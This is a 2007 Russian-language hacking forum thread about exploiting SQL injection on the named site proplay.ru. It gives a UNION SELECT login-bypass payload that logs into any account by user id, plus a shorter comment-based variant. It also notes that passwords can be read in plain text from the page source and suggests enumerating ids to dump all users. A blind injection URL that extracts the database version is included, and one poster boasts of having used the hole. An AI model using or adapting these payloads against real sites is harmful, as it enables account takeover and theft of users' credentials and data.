Уязвимость на proplay.ru

Discussion in 'Уязвимости' started by Joker-jar, 4 Jun 2007.

  1. Joker-jar

    Joker-jar Elder - Старейшина

    Joined:
    11 Mar 2007
    Messages:
    581
    Likes Received:
    205
    Reputations:
    37
    Посодействовал l1ght, за что ему большое спасибо. Суть баги в том, что можно залогиниться под любым аккаунтом следующим способом:

    Логин: -1
    Пароль: ' union select id,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null/*

    Где id - id юзера. :)
     
    7 people like this.
  2. ice1k

    ice1k Banned

    Joined:
    1 Jan 2007
    Messages:
    462
    Likes Received:
    382
    Reputations:
    490
    Как уже сказал гема хватает просто:
    user'/*
    asd

    И ещё, если хотите узнать пароль - зайдите в /users/settings/ там будет пароль за звёздочками, открывайте сорцы страницы - там будет пароль в чистом виде...
     
    1 person likes this.
  3. Joker-jar

    Joker-jar Elder - Старейшина

    Joined:
    11 Mar 2007
    Messages:
    581
    Likes Received:
    205
    Reputations:
    37
    Первый метод подойдет, скажем, для создания БД всех юзеров (путем перебора id).
     
  4. loc

    loc New Member

    Joined:
    1 Jun 2007
    Messages:
    4
    Likes Received:
    0
    Reputations:
    0
    Эх.... жаль перекрыли уже :)) Но я успел поюзать .... Респект авторам!!! :cool:
     
    #4 loc, 5 Jun 2007
    Last edited: 5 Jun 2007
  5. BlasT

    BlasT New Member

    Joined:
    23 Aug 2005
    Messages:
    6
    Likes Received:
    0
    Reputations:
    0
    http://www.proplay.ru/forums/cs/7909'/
    есть еще одна sql токо не как немогу подобрать правильное кол-во полей кто поможет?
     
  6. Joker-jar

    Joker-jar Elder - Старейшина

    Joined:
    11 Mar 2007
    Messages:
    581
    Likes Received:
    205
    Reputations:
    37
    :) Как подбираешь? Это не скуля, а просто бажок в скрипте, в частности, в инклудинге. Ничего там не поимеешь

    З.Ы. Хотя сорри, затупил. Теперь вижу...
     
    #6 Joker-jar, 9 Jun 2007
    Last edited: 9 Jun 2007
  7. Joker-jar

    Joker-jar Elder - Старейшина

    Joined:
    11 Mar 2007
    Messages:
    581
    Likes Received:
    205
    Reputations:
    37
    На счет union точно не знаю. Посимвольный перебор:
    Code:
    http://www.proplay.ru/forums/q3'+and+ascii(lower(substring(version(),1,1)))=0x35+and+'1'='1/
    MySQL 5.x